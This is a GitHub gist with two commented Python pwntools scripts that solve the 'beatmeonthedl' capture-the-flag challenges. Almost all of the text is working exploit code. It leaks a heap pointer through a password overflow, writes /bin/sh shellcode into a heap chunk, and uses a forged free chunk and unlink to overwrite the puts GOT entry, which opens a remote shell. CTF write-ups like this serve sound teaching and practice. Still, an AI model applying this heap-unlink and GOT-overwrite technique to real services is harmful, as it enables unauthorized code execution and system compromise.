Skip to content

Instantly share code, notes, and snippets.

@xshill
Created June 21, 2017 01:51
Show Gist options
  • Save xshill/43e1b89d7cd0d5a1c512a1f88307cb82 to your computer and use it in GitHub Desktop.
Save xshill/43e1b89d7cd0d5a1c512a1f88307cb82 to your computer and use it in GitHub Desktop.
Solutions for beatmeonthedl and beatmeonthedl_lite
#!/usr/bin/env python2
from pwn import *
context(os="linux", arch="amd64")
#p = process("./beatmeonthedl")
p = remote("sploitbox.com", 10001)
# Make a menu choice
def menu(choice):
p.recvuntil("| ")
p.sendline(str(choice))
# Add a request
def request(data):
menu(1)
p.recvuntil('Request text > ')
p.send(data)
# Print requests
def _print():
menu(2)
# Delete a request
def delete(req):
menu(3)
p.recvuntil('choice: ')
p.sendline(str(req))
# Change a request
def change(req, data):
menu(4)
p.recvuntil('choice: ')
p.sendline(str(req))
p.recvuntil('data: ')
p.send(data)
# Exit
def exit():
menu(5)
# Credentials are written in plain text in the binary
username = "mcfly"
password = "awesnap"
# The general idea for this solution is to write an entry in the GOT that points
# to our shellcode so that the program ends up jumping on it.
# We can exploit the overflow on the password input to leak a pointer to the
# heap, which we will need to be able to jump to our shellcode. To achieve this
# we need to write a password with a length of 24 bytes.
fakepass = "A" * 24
p.recvuntil("Enter username: ")
p.sendline(username)
p.recv()
# Send the wrong password once to leak the pointer to the heap.
p.send(fakepass)
output = p.recvuntil("Enter username: ")
# Find our fake password in the output
heap_start = output[output.index(fakepass):]
# Drop the first 24 bytes, which is our fake password.
heap_start = heap_start[24:]
# We expect our pointer to be about 5 bytes long
heap_start = heap_start[:5]
# We need to interpret the data we receive correctly to get the right address.
# The 4th byte of the pointer might be a null byte (in which case only the 4th
# character will be a newline). It might also be a newline (in which case the
# 5th character will also be a newline).
if heap_start[3] == "\n" and heap_start[4] != "\n":
heap_start = heap_start[:3] + "\x00" * 5
else:
heap_start = heap_start[:4] + "\x00" * 4
# The heap always starts at 0xXXXXXX00, and the first two chunks are used for
# the passwords that we sent. The text for the first request actually starts
# at 0xXXXXXX50, so we change the first byte to 0x50.
shellcode_start = "\x50" + heap_start[1:]
# Login correctly this time.
p.sendline(username)
p.recv()
p.send(password)
# By writing a request properly, we can get
# `*(a + 0x18) = b` and `*(b + 0x10) = a`
# where a and b are two addresses that we control (fd and bk).
# We create all requests first and then set up the exploit.
request("you")
request("just")
request("got")
request("pwned")
# We will put our shellcode in the first request
# Part of the shellcode will be overwritten, we need to start the shellcode with
# a jump to get around that.
# This is the assembly to jump 0x13 bytes forward.
shellcode = "\xe9\x13\x00\x00\x00"
# Filler
shellcode += "\x90" * 0x13
# Assembly to execute /bin/sh
shellcode += asm(shellcraft.sh())
change(0, shellcode)
print("Wrote shellcode")
# We want to replace the entry for puts with the address of our shellcode.
# The address of the entry for puts is this:
puts_reloc_address = 0x609958
# We need to subtract 0x18 as per the equation.
fd = pack(puts_reloc_address - 0x18)
# We want to write the address of our shellcode in the entry for puts.
bk = shellcode_start
# Update request #3 to make it look like a free chunk. We also overflow
# on request #4 to change it's prev_inuse bit to 0 (size 0x42) to make it think
# that request #3 is free.
evil_request = fd + bk + "\x00" * 0x20 + pack(0x40) + pack(0x42)
change(2, evil_request)
print("Wrote evil request")
# Deleting request #4 will trigger a call to consolidate requests #3 and #4,
# which will change the entry for puts with the address of our shellcode.
delete(3)
# Puts (and therefore our shellcode) is called immediately after we're done
# deleting a request, so at this point we have a shell.
print("Popping shell :)")
p.interactive()
#!/usr/bin/env python2
from pwn import *
context(os="linux", arch="amd64")
#p = process("./beatmeonthedl_lite")
p = remote("sploitbox.com", 10002)
# Make a menu choice
def menu(choice):
p.recvuntil("| ")
p.sendline(str(choice))
# Add a request
def request(data):
menu(1)
p.recvuntil('Request text > ')
p.send(data)
# Print requests
def _print():
menu(2)
# Delete a request
def delete(req):
menu(3)
p.recvuntil('choice: ')
p.sendline(str(req))
# Change a request
def change(req, data):
menu(4)
p.recvuntil('choice: ')
p.sendline(str(req))
p.recvuntil('data: ')
p.send(data)
# Exit
def exit():
menu(5)
# There is a hidden action that allows us to see the base address of the heap.
def print_debug():
menu(-1337)
p.recvuntil("Heap: ")
heap_hex = p.recvline()
return int(heap_hex, 16)
# The general idea for this solution is to write an entry in the GOT that points
# to our shellcode so that the program ends up jumping on it.
# By writing a request properly, we can get
# `*(a + 0x18) = b` and `*(b + 0x10) = a`
# where a and b are two addresses that we control (fd and bk).
# We create all requests first and then set up the exploit.
request("you")
request("just")
request("got")
request("pwned")
# We will put our shellcode in the first request
# Part of the shellcode will be overwritten, we need to start the shellcode with
# a jump to get around that.
# This is the assembly to jump 0x13 bytes forward.
shellcode = "\xe9\x13\x00\x00\x00"
# Filler
shellcode += "\x90" * 0x13
# Assembly to execute /bin/sh
shellcode += asm(shellcraft.sh())
change(0, shellcode)
print("Wrote shellcode")
# We need to find the address of our shellcode to be able to jump to it.
# Get the base address of the heap.
heap_start = print_debug()
# There are 0x10 bytes of metadata, so the actual shellcode starts here:
shellcode_start = heap_start + 0x10
# We want to replace the entry for puts with the address of our shellcode.
# The address of the entry for puts is this:
puts_reloc_address = 0x60a390
# We need to subtract 0x18 as per the equation.
fd = pack(puts_reloc_address - 0x18)
# We want to write the address of our shellcode in the entry for puts.
bk = pack(shellcode_start)
# Update request #3 to make it look like a free chunk. We also overflow
# on request #4 to change it's prev_inuse bit to 0 (size 0x42) to make it think
# that request #3 is free.
evil_request = fd + bk + "\x00" * 0x20 + pack(0x40) + pack(0x42)
change(2, evil_request)
print("Wrote evil request")
# Deleting request #4 will trigger a call to consolidate requests #3 and #4,
# which will change the entry for puts with the address of our shellcode.
delete(3)
# Puts (and therefore our shellcode) is called immediately after we're done
# deleting a request, so at this point we have a shell.
print("Popping shell :)")
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment